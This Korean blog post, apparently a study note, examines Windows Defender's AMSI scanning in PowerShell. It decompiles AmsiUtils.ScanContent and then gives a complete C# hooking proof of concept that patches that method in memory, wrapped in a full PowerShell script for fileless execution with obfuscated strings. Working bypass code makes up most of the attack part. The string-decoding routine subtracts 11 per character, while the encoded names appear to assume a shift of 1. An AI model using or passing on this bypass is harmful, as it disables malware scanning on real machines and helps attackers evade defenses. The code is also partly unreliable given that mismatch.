최신 윈도우 운영체제에는 기본적으로 Defender라는 AV(Anti Virus)가 설치되어 있다. 또한 이 백신의 성능이 생각보다 출중한 편인데, 필자의 생각은 다음과 같다.
장점
- 다양한 샘플
많은 공격자들이 End Point를 대상으로 공격을 시도한다. Initial Access가 되었든, Lateral Movement가 되었든 말이다. 그런데 이 Endpoint란 전 세계에 컴퓨터를 사용하는 모든 사람이 대상이 될 수 있다.(물론 노출되어있는 서버도 포함된다)
그런데 개인 사용자용 운영체제로 리눅스를 사용하는 경우가 얼마나 되겠는가? 일반적으로 윈도우 아니면 MacOS를 사용한다.
따라서 MS는 정말 다양한 샘플들을 확보할 수 있고, 이러한 양적 공세로 다양한 인사이트를 확보할 수 있을 것이라는 생각이 든다.
- AI의 발전
단순히 샘플만 많다면 큰 의미가 없을 수 있다. 마소가 정보보안 전문 기업이 아니기 때문이다. 하지만 최근 급속도로 발전한 인공지능 모델에 이러한 말웨어 데이터를 때려넣는다면 어떻게 될 것인가? (실제로 AI를 쓰는지는 모르겠지만 아마 쓰지않을까?)
단점
- 정보보안 전문가의 부족
확실하지는 않지만, 아무래도 마소는 개발자들이 메인인 개발사이다. 그만큼 정보보안 전문가들의 인력이 부족할 수 있다. 마이크로 소프트가 굳이 안랩이나 이스트처럼 악성코드 분석 전문 팀을 운영할 필요는 없지는 않겠는가?
이러한 이유로 Windows Defender가 ‘생각보다’ 출중한 편이라 볼수 있겠다. 물론 필자의 뇌피셜이다.
아무튼 이제 공격자들은 엔드포인트에서 이 기본적으로 설치되어있는 AV Defender를 우회할 필요가 있다. 따라서 이 Windows Defender를 분석 해 보자.
1. Windows Defender 동작 구조#
2. Amsi#
우선 파워쉘 명령 검사를 위해서 마소는 amsi.dll 을 로드하는 wrapper dll을 만들어서 파워쉘이 로드하도록 구성해놓았다.
해당 파일의 경로는 다음과 같다.(GPT)
• C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation<버전>\System.Management.Automation.dll
• 또는: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe가 로드하는 어셈블리(모듈)는 GAC 안에 위치
• PowerShell (7, pwsh — .NET Core / .NET)
PowerShell 7은 자체 설치 폴더에 어셈블리를 포함합
• C:\Program Files\PowerShell\7\System.Management.Automation.dll
또는 다음 명령들로 확인해볼 수 있다.
1
2
3
4
5
6
7
8
9
10
11
| # 어떤 System.Management.Automation DLL을 현재 세션이 사용 중인지 확인
([System.Reflection.Assembly]::GetAssembly([System.Management.Automation.Runspaces.RunspaceFactory])).Location
# 어셈블리의 버전 정보 확인
([System.Reflection.Assembly]::Load("System.Management.Automation")).GetName().Version
# 파일 해시(무결성 확인)
Get-FileHash "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" -Algorithm SHA256
# 서명(Authenticode) 확인
Get-AuthenticodeSignature "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll"
|
2-1. AmsiUtil ScanContext#
항상 이런걸 볼떄마다 느끼지만, 이런 연구자들은 어떻게 이런걸 이렇게 잘 찾아낼까하고 신기하다는 생각이 든다. 해당 DLL은 C#으로 작성되어 있으며 이는 곧 아주 손쉽게 디컴파일이 가능하다는 의미가 된다.
디컴파일 결과는 다음과 같다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
| // Token: 0x06002B4D RID: 11085 RVA: 0x000ADBB0 File Offset: 0x000ABDB0
internal unsafe static AmsiUtils.AmsiNativeMethods.AMSI_RESULT ScanContent(string content, string sourceMetadata)
{
if (string.IsNullOrEmpty(sourceMetadata))
{
sourceMetadata = string.Empty;
}
if (InternalTestHooks.UseDebugAmsiImplementation && content.IndexOf("X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*", StringComparison.Ordinal) >= 0)
{
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED;
}
if (AmsiUtils.amsiInitFailed)
{
PSEtwLog.LogAmsiUtilStateEvent("ScanContent-InitFail", string.Format("{0}-{1}", AmsiUtils.amsiContext, AmsiUtils.amsiSession));
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
object obj = AmsiUtils.amsiLockObject;
AmsiUtils.AmsiNativeMethods.AMSI_RESULT result;
lock (obj)
{
if (AmsiUtils.amsiInitFailed)
{
PSEtwLog.LogAmsiUtilStateEvent("ScanContent-InitFail", string.Format("{0}-{1}", AmsiUtils.amsiContext, AmsiUtils.amsiSession));
result = AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
else
{
try
{
int num = 0;
if (AmsiUtils.amsiContext == IntPtr.Zero)
{
num = AmsiUtils.Init();
if (!Utils.Succeeded(num))
{
PSEtwLog.LogAmsiUtilStateEvent(string.Format("AmsiScanBuffer-{0}", num), string.Format("{0}-{1}", AmsiUtils.amsiContext, AmsiUtils.amsiSession));
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
}
if (AmsiUtils.amsiSession == IntPtr.Zero)
{
num = AmsiUtils.AmsiNativeMethods.AmsiOpenSession(AmsiUtils.amsiContext, ref AmsiUtils.amsiSession);
AmsiUtils.AmsiInitialized = true;
if (!Utils.Succeeded(num))
{
PSEtwLog.LogAmsiUtilStateEvent(string.Format("AmsiScanBuffer-{0}", num), string.Format("{0}-{1}", AmsiUtils.amsiContext, AmsiUtils.amsiSession));
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
}
AmsiUtils.AmsiNativeMethods.AMSI_RESULT amsi_RESULT = AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_CLEAN;
try
{
fixed (string text = content)
{
char* ptr = text;
if (ptr != null)
{
ptr += RuntimeHelpers.OffsetToStringData / 2;
}
IntPtr buffer = new IntPtr((void*)ptr);
num = AmsiUtils.AmsiNativeMethods.AmsiScanBuffer(AmsiUtils.amsiContext, buffer, (uint)(content.Length * 2), sourceMetadata, AmsiUtils.amsiSession, ref amsi_RESULT);
}
}
finally
{
string text = null;
}
if (!Utils.Succeeded(num))
{
PSEtwLog.LogAmsiUtilStateEvent(string.Format("AmsiScanBuffer-{0}", num), string.Format("{0}-{1}", AmsiUtils.amsiContext, AmsiUtils.amsiSession));
result = AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
else
{
result = amsi_RESULT;
}
}
catch (DllNotFoundException)
{
PSEtwLog.LogAmsiUtilStateEvent("DllNotFoundException", string.Format("{0}-{1}", AmsiUtils.amsiContext, AmsiUtils.amsiSession));
result = AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
}
}
return result;
}
|
함수를 살펴보면 입력으로
ScanContent(string content, string sourceMetadata) 를 받고있고
AmsiUtils.AmsiNativeMethods.AMSI_RESULT 형태의 데이터를 리턴하고 있다.

AmsiUtils.AmsiNativeMethods.AMSI_RESULT는 integer의 emum으로 정의되어 있어 integer를 리턴한다 생각하면 되겠다.
context는 실행할 코드일 것이고, sourceMetadata는 코드의 메타데이터가 될 것이다.
그리고 다음 핵심 버퍼 검사 구문을 확인할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
| try
{
fixed (string text = content)
{
char* ptr = text;
if (ptr != null)
{
ptr += RuntimeHelpers.OffsetToStringData / 2;
}
IntPtr buffer = new IntPtr((void*)ptr);
num = AmsiUtils.AmsiNativeMethods.AmsiScanBuffer(AmsiUtils.amsiContext, buffer, (uint)(content.Length * 2), sourceMetadata, AmsiUtils.amsiSession, ref amsi_RESULT);
}
}
|
여기서 우리는 ScanContent 라는 함수 호출을 ‘후킹’해서 AmsiScanBuffer 함수 호출을 바이패스 해야겠구나! 하는 생각까지 도달해야 한다.
3. Bypass Defender#
바이패스에는 후킹 외에도 몇 가지 기술이 추가적으로 사용된다.
3-1. 후킹 코드 작성#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
| using System;
using System.ComponentModel;
using System.Management.Automation;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace Editor {
public static class Methods {
public static void Patch() {
MethodInfo original = typeof(PSObject).Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethod("ScanContent", BindingFlags.NonPublic | BindingFlags.Static);
MethodInfo modified = typeof(Methods).GetMethod("ScanContentStub", BindingFlags.NonPublic | BindingFlags.Static);
Methods.Patch(original, modified);
}
[MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
private static int ScanContentStub(string content, string metadata) {
return 1; //AMSI_RESULT_NOTDETECTED
}
public static void Patch(MethodInfo original, MethodInfo replacement) {
//JIT compile methods
RuntimeHelpers.PrepareMethod(original.MethodHandle);
RuntimeHelpers.PrepareMethod(replacement.MethodHandle);
//Get pointers to the functions
IntPtr originalSite = original.MethodHandle.GetFunctionPointer();
IntPtr replacementSite = replacement.MethodHandle.GetFunctionPointer();
//Generate architecture specific shellcode
byte[] patch = null;
if (IntPtr.Size == 8) {
patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 };
byte[] address = BitConverter.GetBytes(replacementSite.ToInt64());
for (int i = 0; i < address.Length; i++) {
patch[i + 2] = address[i];
}
} else {
patch = new byte[] { 0x68, 0x0, 0x0, 0x0, 0x0, 0xc3 };
byte[] address = BitConverter.GetBytes(replacementSite.ToInt32());
for (int i = 0; i < address.Length; i++) {
patch[i + 1] = address[i];
}
}
//Temporarily change permissions to RWE
uint oldprotect;
if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, 0x40, out oldprotect)) {
throw new Win32Exception();
}
//Apply the patch
IntPtr written = IntPtr.Zero;
if (!Methods.WriteProcessMemory(GetCurrentProcess(), originalSite, patch, (uint)patch.Length, out written)) {
throw new Win32Exception();
}
//Flush insutruction cache to make sure our new code executes
if (!FlushInstructionCache(GetCurrentProcess(), originalSite, (UIntPtr)patch.Length)) {
throw new Win32Exception();
}
//Restore the original memory protection settings
if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, oldprotect, out oldprotect)) {
throw new Win32Exception();
}
}
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
}
}
|
3-1. .NET 리플렉션#
.NET은 리플렉션이라는 기능을 제공한다.
리플렉션은 .NET(C# 포함)에서 **프로그램이 실행 중(runtime)**에 자기 자신(어셈블리, 클래스, 메서드, 속성 등)을 **조사(inspect)**하거나 **조작(manipulate)**할 수 있는 기능이다.
해당 리플렉션 기능은 Patch(), Patch(MethodInfo original, MethodInfo replacement) 함수에서 사용하고 있다.
다음 코드를 보자.
1
| MethodInfo original = typeof(PSObject).Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethod("ScanContent", BindingFlags.NonPublic | BindingFlags.Static);
|
- typeof(PSObject).Assembly
• typeof(PSObject)
• PSObject 타입(컴파일 시점에 알려진 타입)을 의미한다.
• 이 표현의 목적은 어떤 어셈블리(Assembly) 를 참조해야 할지 얻기 위함이다.
• .Assembly
• PSObject가 정의된 어셈블리(System.Management.Automation.dll)의 Assembly 객체를 반환한다.
⸻
- .GetType(“System.Management.Automation.AmsiUtils”)
• Assembly.GetType(string fullName)
• 해당 어셈블리 내부에서 네임스페이스 포함한 완전한 타입 이름(Namespace.TypeName)으로 Type 객체를 찾는다.
• 여기서는 AmsiUtils(네임스페이스 System.Management.Automation)라는 비공개/내부 유틸리티 클래스를 찾는다.
• 주의: 이름은 대소문자 구분이며(기본적으로 case-sensitive), 타입이 없으면 null을 반환한다.
⸻
- .GetMethod(“ScanContent”, BindingFlags.NonPublic | BindingFlags.Static)
• Type.GetMethod(name, bindingFlags)
• 타입에서 지정된 이름과 바인딩 플래그에 맞는 메서드를 검색해 MethodInfo를 반환한다.
• BindingFlags.NonPublic | BindingFlags.Static 의미:
• NonPublic : private / internal / protected 등의 비공개 멤버 포함
• Static : 정적(static) 메서드만 검색
• 따라서 비공개(static) 메서드 ScanContent를 찾겠다는 의미.
⸻
- 반환값 (original)
• 성공하면 MethodInfo 객체(메서드의 메타정보)를 받습니다. 이 MethodInfo로:
• Invoke()로 호출하거나,
• MethodHandle.GetFunctionPointer()로 네이티브 함수 포인터를 얻거나,
• RuntimeHelpers.PrepareMethod()로 JIT 준비 등 다양한 작업을 할 수 있다.
• 실패하면 original은 null(타입/메서드가 없을 때)이고, 중복 일치가 있으면 AmbiguousMatchException이 발생할 수 있음.
3-2. 함수 후킹#
1
2
3
4
5
6
7
| [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
private static int ScanContentStub(string content, string metadata) {
return 1; //AMSI_RESULT_NOTDETECTED
}
MethodInfo modified = typeof(Methods).GetMethod("ScanContentStub", BindingFlags.NonPublic | BindingFlags.Static);
Methods.Patch(original, modified);
|
‘ScanContentStub’라는 우리가 정의한 함수정보를 불러와서 Patch 라는 항수로 후킹을 적용한다.
ScanContentStub 함수 위에 [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)] 이런 옵션이 적용되어 있다.
현대 컴파일러는 굉장히 스마트하기 때문에 간단한 함수는 최적화를 위해 inline화 시키는 경우가 많다. 그럴 경우 함수 호출에 문제가 발생할수 있기 때문에 이를 방지하기 위한 대책이다.
3-3. 인라이닝 방지#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| //Generate architecture specific shellcode
byte[] patch = null;
if (IntPtr.Size == 8) {
patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 };
byte[] address = BitConverter.GetBytes(replacementSite.ToInt64());
for (int i = 0; i < address.Length; i++) {
patch[i + 2] = address[i];
}
} else {
patch = new byte[] { 0x68, 0x0, 0x0, 0x0, 0x0, 0xc3 };
byte[] address = BitConverter.GetBytes(replacementSite.ToInt32());
for (int i = 0; i < address.Length; i++) {
patch[i + 1] = address[i];
}
}
|
3-4. 함수 후킹#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
| public static void Patch(MethodInfo original, MethodInfo replacement) {
//JIT compile methods
RuntimeHelpers.PrepareMethod(original.MethodHandle);
RuntimeHelpers.PrepareMethod(replacement.MethodHandle);
//Get pointers to the functions
IntPtr originalSite = original.MethodHandle.GetFunctionPointer();
IntPtr replacementSite = replacement.MethodHandle.GetFunctionPointer();
//Generate architecture specific shellcode
byte[] patch = null;
if (IntPtr.Size == 8) {
patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 };
byte[] address = BitConverter.GetBytes(replacementSite.ToInt64());
for (int i = 0; i < address.Length; i++) {
patch[i + 2] = address[i];
}
} else {
patch = new byte[] { 0x68, 0x0, 0x0, 0x0, 0x0, 0xc3 };
byte[] address = BitConverter.GetBytes(replacementSite.ToInt32());
for (int i = 0; i < address.Length; i++) {
patch[i + 1] = address[i];
}
}
//Temporarily change permissions to RWE
uint oldprotect;
if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, 0x40, out oldprotect)) {
throw new Win32Exception();
}
//Apply the patch
IntPtr written = IntPtr.Zero;
if (!Methods.WriteProcessMemory(GetCurrentProcess(), originalSite, patch, (uint)patch.Length, out written)) {
throw new Win32Exception();
}
//Flush insutruction cache to make sure our new code executes
if (!FlushInstructionCache(GetCurrentProcess(), originalSite, (UIntPtr)patch.Length)) {
throw new Win32Exception();
}
//Restore the original memory protection settings
if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, oldprotect, out oldprotect)) {
throw new Win32Exception();
}
}
|
실제 후킹이 이루어지는 부분이다.
1
2
3
4
5
6
7
| //JIT compile methods
RuntimeHelpers.PrepareMethod(original.MethodHandle);
RuntimeHelpers.PrepareMethod(replacement.MethodHandle);
//Get pointers to the functions
IntPtr originalSite = original.MethodHandle.GetFunctionPointer();
IntPtr replacementSite = replacement.MethodHandle.GetFunctionPointer();
|
MethodHandle.GetFunctionPointer() 를 사용해 함수 시작 주소를 따기 위해서 각 메서드를 JIT(Just In Time) 컴파일 한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| //Generate architecture specific shellcode
byte[] patch = null;
if (IntPtr.Size == 8) {
patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 };
byte[] address = BitConverter.GetBytes(replacementSite.ToInt64());
for (int i = 0; i < address.Length; i++) {
patch[i + 2] = address[i];
}
} else {
patch = new byte[] { 0x68, 0x0, 0x0, 0x0, 0x0, 0xc3 };
byte[] address = BitConverter.GetBytes(replacementSite.ToInt32());
for (int i = 0; i < address.Length; i++) {
patch[i + 1] = address[i];
}
}
|
아키텍쳐 구분 후(여기서는 x64, x86구분. int자료형의 크기로 판별한다) 런타임에 원본 함수의 시작(프로시저 프롤로그)을 기계어로 덮어써서(패치) 호출을 대체 함수로 점프시키는 트램펄린(trampoline) / 훅을 만든다.
x64 분기
1
2
3
4
5
| patch = new byte[] {
0x49, 0xBB, // mov r11, imm64
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, // imm64 자리 (8바이트)
0x41, 0xFF, 0xE3 // jmp r11 (REX + FF /4 with r11)
};
|
• 49 BB : MOV R11, . (REX/Opcode 조합으로 r11에 64비트 즉시값을 로드)
• 41 FF E3: JMP R11 (간접 분기). 41은 REX.B 같은 프리픽스, FF E3는 jmp r11.
• 전체 동작: R11 레지스터에 대체 함수의 절대 주소를 넣고 바로 그 주소로 점프한다.
x86 분기
1
2
3
4
| patch = new byte[] {
0x68, 0x0,0x0,0x0,0x0, // push imm32
0xC3 // ret
};
|
• 68 : PUSH imm32 — 스택에 즉시주소를 푸시.
• C3 : RET — 스택에서 값(즉시주소)을 팝해서 그 주소로 반환(=점프).
우선 ret 되는 주소값은 00으로 채워져있고, 위에서 MethodHandle.GetFunctionPointer()로 가져온 실제 함수의 시작 주소를 그 자리에 채운다.
이후 메모리 영역의 권한을 변경한다.
1
| if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, 0x40, out oldprotect)) throw new Win32Exception();
|
• 0x40 = PAGE_EXECUTE_READWRITE로 설정.
• 목적: 코드 페이지(보통 실행 전용)에 쓰기 가능하도록 잠시 풀기.
1
| if (!Methods.WriteProcessMemory(GetCurrentProcess(), originalSite, patch, (uint)patch.Length, out written)) throw new Win32Exception();
|
• WriteProcessMemory로 현재 프로세스의 해당 메모리영역을 덮어씀.
1
| if (!FlushInstructionCache(GetCurrentProcess(), originalSite, (UIntPtr)patch.Length)) throw new Win32Exception();
|
• CPU의 명령 캐시를 비워, 즉시 새로 쓴 코드가 실행되도록 보장.
• 필수 단계: 캐시를 갱신하지 않으면 CPU가 아직 캐시된 구 코드를 실행할 수 있다.
1
| if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, oldprotect, out oldprotect)) throw new Win32Exception();
|
• 메모리 보호 속성을 원래대로 되돌린다.
4. 실제 실행하기#
위에서 PoC 코드를 살펴봤다. 굉장히 복잡하다.. GPT가 없었으면 어떻게 공부했을까 싶다.
위 코드를 powershell 에서 fileless 형태로 실행하기 위해서는 추가적으로 다른 방법이 더 필요하다.
4-1. 멀티라인 문자열 선언#
$code = @" … “@ 로 선언해주면 된다.
4-2. 소스코드 컴파일#
Add-Type $code
PowerShell이 내부적으로 C# 컴파일러(csc)를 호출해 소스 코드를 컴파일하고 결과 어셈블리를 현재 세션의 AppDomain에 로드
4-3. 전체 코드#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
| $code = @"
using System;
using System.ComponentModel;
using System.Management.Automation;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
namespace Editor {
public static class Methods {
public static void Patch() {
MethodInfo original = typeof(PSObject).Assembly.GetType(Methods.CLASS).GetMethod(Methods.METHOD, BindingFlags.NonPublic | BindingFlags.Static);
MethodInfo replacement = typeof(Methods).GetMethod("Dummy", BindingFlags.NonPublic | BindingFlags.Static);
Methods.Patch(original, replacement);
}
[MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
private static int Dummy(string content, string metadata) {
return 1;
}
public static void Patch(MethodInfo original, MethodInfo replacement) {
//JIT compile methods
RuntimeHelpers.PrepareMethod(original.MethodHandle);
RuntimeHelpers.PrepareMethod(replacement.MethodHandle);
//Get pointers to the functions
IntPtr originalSite = original.MethodHandle.GetFunctionPointer();
IntPtr replacementSite = replacement.MethodHandle.GetFunctionPointer();
//Generate architecture specific shellcode
byte[] patch = null;
if (IntPtr.Size == 8) {
patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 };
byte[] address = BitConverter.GetBytes(replacementSite.ToInt64());
for (int i = 0; i < address.Length; i++) {
patch[i + 2] = address[i];
}
} else {
patch = new byte[] { 0x68, 0x0, 0x0, 0x0, 0x0, 0xc3 };
byte[] address = BitConverter.GetBytes(replacementSite.ToInt32());
for (int i = 0; i < address.Length; i++) {
patch[i + 1] = address[i];
}
}
//Temporarily change permissions to RWE
uint oldprotect;
if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, 0x40, out oldprotect)) {
throw new Win32Exception();
}
//Apply the patch
IntPtr written = IntPtr.Zero;
if (!Methods.WriteProcessMemory(GetCurrentProcess(), originalSite, patch, (uint)patch.Length, out written)) {
throw new Win32Exception();
}
//Flush insutruction cache to make sure our new code executes
if (!FlushInstructionCache(GetCurrentProcess(), originalSite, (UIntPtr)patch.Length)) {
throw new Win32Exception();
}
//Restore the original memory protection settings
if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, oldprotect, out oldprotect)) {
throw new Win32Exception();
}
}
private static string Transform(string input) {
StringBuilder builder = new StringBuilder(input.Length + 11);
foreach(char c in input) {
char m = (char)((int)c - 11);
builder.Append(m);
}
return builder.ToString();
}
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
private static readonly string CLASS = Methods.Transform("Tztufn/Nbobhfnfou/Bvupnbujpo/BntjVujmt");
private static readonly string METHOD = Methods.Transform("TdboDpoufou");
}
}
"@
Add-Type $code
[Editor.Methods]::Patch()
|
위 코드에는 추가적으로 특정 문자열에 난독화가 적용되었다.
5. 동작 테스트#
지금은.. kernel32.dll 에서 로드하는 함수들이 다 막힌것 같다..
Reference#
https://practicalsecurityanalytics.com/obfuscating-api-patches-to-bypass-new-windows-defender-behavior-signatures/
https://practicalsecurityanalytics.com/new-amsi-bypss-technique-modifying-clr-dll-in-memory/
https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/
https://rastamouse.me/memory-patching-amsi-bypass/
https://darkest.tistory.com/66